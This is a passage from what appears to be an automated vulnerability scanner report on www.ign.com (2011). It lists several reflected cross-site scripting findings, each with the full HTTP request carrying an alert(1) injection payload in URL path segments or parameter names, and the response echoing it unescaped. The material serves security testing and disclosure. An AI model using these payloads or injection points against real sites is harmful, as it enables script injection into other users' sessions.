Expires: Mon, 07 Feb 2011 02:06:27 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:06:27 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=2c75dd30d9d90a8a5a5431516a60ecd9; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103045525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 45095

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
nav-item-news .list-title").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01b7efc'-alert(1)-'a79cfee7098/28/ign-daily-fix-012811';
   }
   </script>
...[SNIP]...

3.636. http://www.ign.com/videos/2011/01/28/ign-daily-fix-012811 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/28/ign-daily-fix-012811

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d641f'-alert(1)-'761571e0aa was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/28d641f'-alert(1)-'761571e0aa/ign-daily-fix-012811 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:07:07 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:07:07 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=1047cc8538c681c1b797372a466babf9; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f100e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 45087

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
-item-news .list-title").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01/28d641f'-alert(1)-'761571e0aa/ign-daily-fix-012811';
   }
   </script>
...[SNIP]...

3.637. http://www.ign.com/videos/2011/01/28/ign-daily-fix-012811 [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/28/ign-daily-fix-012811

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8b679'-alert(1)-'65104d8e9bf was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/28/ign-daily-fix-0128118b679'-alert(1)-'65104d8e9bf HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:07:22 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:07:22 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=d4b7178e5d6697c9dcc02d0903721e24; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f102145525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 44519

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
e").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01/28/ign-daily-fix-0128118b679'-alert(1)-'65104d8e9bf';
   }
   </script>
...[SNIP]...

3.638. http://www.ign.com/videos/2011/01/28/ign-daily-fix-012811 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/28/ign-daily-fix-012811

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload f523e<script>alert(1)</script>99cf56aedb1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos/2011/01/28/ign-daily-fix-012811?f523e<script>alert(1)</script>99cf56aedb1=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:04:59 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:04:59 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=799195cd8194d429d3682acafa391252; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f102145525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 83427

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
<div id="videopageurl" class="toClipboard" style="display:none">http://www.ign.com/videos/2011/01/28/ign-daily-fix-012811?f523e<script>alert(1)</script>99cf56aedb1=1</div>
...[SNIP]...

3.639. http://www.ign.com/videos/2011/01/28/ign-daily-fix-012811 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/28/ign-daily-fix-012811

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b62a0'-alert(1)-'f71df52da6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/28/ign-daily-fix-012811?b62a0'-alert(1)-'f71df52da6=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:04:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:04:58 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=0eb3911896f020226ea24e8115d7f5eb; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f102145525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 83379

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01/28/ign-daily-fix-012811?b62a0'-alert(1)-'f71df52da6=1';
   }
   </script>
...[SNIP]...

3.640. http://www.ign.com/videos/2011/01/31/ign-daily-fix-013111 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/31/ign-daily-fix-013111

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 826dd'-alert(1)-'cd0bda26bf6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011826dd'-alert(1)-'cd0bda26bf6/01/31/ign-daily-fix-013111 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:05:19 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:05:19 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=054b8f9c9c3ce37153c29fb5ce947f74; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103345525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 45179

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
("#nav-item-news .list-title").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011826dd'-alert(1)-'cd0bda26bf6/01/31/ign-daily-fix-013111';
   }
   </script>
...[SNIP]...

3.641. http://www.ign.com/videos/2011/01/31/ign-daily-fix-013111 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/31/ign-daily-fix-013111

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 66f29'-alert(1)-'2cfc2bda3bb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/0166f29'-alert(1)-'2cfc2bda3bb/31/ign-daily-fix-013111 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:05:37 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:05:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=499de88ae5ec2c16fd7eb593eecec2fc; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 45179

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
nav-item-news .list-title").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/0166f29'-alert(1)-'2cfc2bda3bb/31/ign-daily-fix-013111';
   }
   </script>
...[SNIP]...

3.642. http://www.ign.com/videos/2011/01/31/ign-daily-fix-013111 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/31/ign-daily-fix-013111

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e9985'-alert(1)-'6ce7f6483a5 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/31e9985'-alert(1)-'6ce7f6483a5/ign-daily-fix-013111 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:06:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:06:06 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=67a92ec9af4bdeca8d8f016141f78ee0; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f100e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 45179

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
-item-news .list-title").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01/31e9985'-alert(1)-'6ce7f6483a5/ign-daily-fix-013111';
   }
   </script>
...[SNIP]...

3.643. http://www.ign.com/videos/2011/01/31/ign-daily-fix-013111 [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/31/ign-daily-fix-013111

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 112c3'-alert(1)-'c00271be48e was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/31/ign-daily-fix-013111112c3'-alert(1)-'c00271be48e HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:06:20 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:06:20 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=2c5d3c2abdbb0a93c9b25f2b2b6832a6; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f102145525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 44519

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
e").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01/31/ign-daily-fix-013111112c3'-alert(1)-'c00271be48e';
   }
   </script>
...[SNIP]...

3.644. http://www.ign.com/videos/2011/01/31/ign-daily-fix-013111 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/31/ign-daily-fix-013111

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 8a172<script>alert(1)</script>9d33a1b1b0c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos/2011/01/31/ign-daily-fix-013111?8a172<script>alert(1)</script>9d33a1b1b0c=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:04:31 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:04:31 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=3a961b48ddc8ad42ff3f90e7d251ef6c; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f102145525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 83798

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
<div id="videopageurl" class="toClipboard" style="display:none">http://www.ign.com/videos/2011/01/31/ign-daily-fix-013111?8a172<script>alert(1)</script>9d33a1b1b0c=1</div>
...[SNIP]...

3.645. http://www.ign.com/videos/2011/01/31/ign-daily-fix-013111 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/31/ign-daily-fix-013111

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 256e1'-alert(1)-'dbd51a568c6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/31/ign-daily-fix-013111?256e1'-alert(1)-'dbd51a568c6=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
